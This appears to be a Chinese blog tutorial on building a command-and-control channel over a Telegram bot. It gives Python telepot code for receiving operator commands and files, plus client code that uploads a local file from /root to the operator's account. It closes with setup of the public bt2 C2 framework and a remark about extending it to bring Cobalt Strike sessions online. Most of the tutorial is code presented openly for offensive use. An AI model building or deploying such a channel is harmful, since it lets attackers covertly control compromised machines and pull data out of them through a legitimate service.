TG 下的C2创建过程
0x00:简介
没啥新技术，基本就是老技术。我这里只是做笔记，仅供学习。
0x01:环境部署过程
1、申请TG token
https://telegram.me/botfather
这里有api的调用文档
https://core.telegram.org/bots/api2、利用python 调用
#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('you-token')
print ('Listening ...')
def handle(msg):
print(msg)
def main():
try:
bot.message_loop(handle)
except Exception as err:
print (err)
while True:
time.sleep(10)
if __name__ == '__main__':
main()3、测试token 调用效果
（记得要国外服务器的运行脚本，不然运行没结果。我自己的没结果）
服务器上运行
到TG上去对你的机器人说话
Python脚本看到你的消息
4、 服务端到客户端
PS:建议看一下API文档在来看
提取文字消息
使用glance()可以从接收的消息中提取一个元组
（content_type，chat_type，chat_id）content_type 包括
text, audio, document, photo, sticker, video, voice,contact, location, venue, new_chat_member, left_chat_member, etc.chat_type 包括
private, group, or channel.所以我们可以使用glance()把接收的文字消息提取出来，代码如下：
#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('you-token')
print ('Listening ...')
def handle(msg):
content_type, chat_type, chat_id = telepot.glance(msg)
if content_type == 'text':
received_command = msg['text']
print (received_command)
else:
print (content_type, chat_type, chat_id)
return
def main():
try:
bot.message_loop(handle)
except Exception as err:
print (err)
while True:
time.sleep(10)
if __name__ == '__main__':
main()
接收文件
执行接收消息的python代码，可获得接收文件的消息格式.
下载文件需要使用
bot.download_file(file_id, filename)#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('you-token')
print ('Listening ...')
def handle(msg):
content_type, chat_type, chat_id = telepot.glance(msg)
if content_type == 'text':
received_command = msg['text']
print (received_command)
elif content_type == 'document':
file_id = msg['document']['file_id']
filename = msg['document']['file_name']
bot.download_file(file_id, filename)
print ("[+] Download File Success!")
else:
print (content_type, chat_type, chat_id)
return
def main():
try:
bot.message_loop(handle)
except Exception as err:
print (err)
while True:
time.sleep(10)
if __name__ == '__main__':
main()
5、 客户端到服务端
发送消息使用
bot.sendMessage(chat_id, message)向Server端发送一条消息，代码如下
#!python
import telepot
from pprint import pprint
bot = telepot.Bot('you-token')
bot.sendMessage(id, 'Hello C2 Server Jaky')id换成你自己的ID
发送文件使用
bot.sendDocument(chat_id,file)代码如下：
#!python
import telepot
from pprint import pprint
bot = telepot.Bot('you-token')
f = open('/root/学习资料-种子.txt', 'rb')
bot.sendDocument(id, f)id换成你自己的ID
0x02:环境测试过程
1、搭建C2 Server
git clone https://github.com/blazeinfosec/bt2.git2、编辑参数
编辑bt2.py
设置以下参数
API_TOKEN：token
BOTMASTER_ID:自己帐号的id
接下来就可以去python代码里扩展 CS上线了
本文参与 腾讯云自媒体分享计划，分享自微信公众号。
原始发表：2021-11-09，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读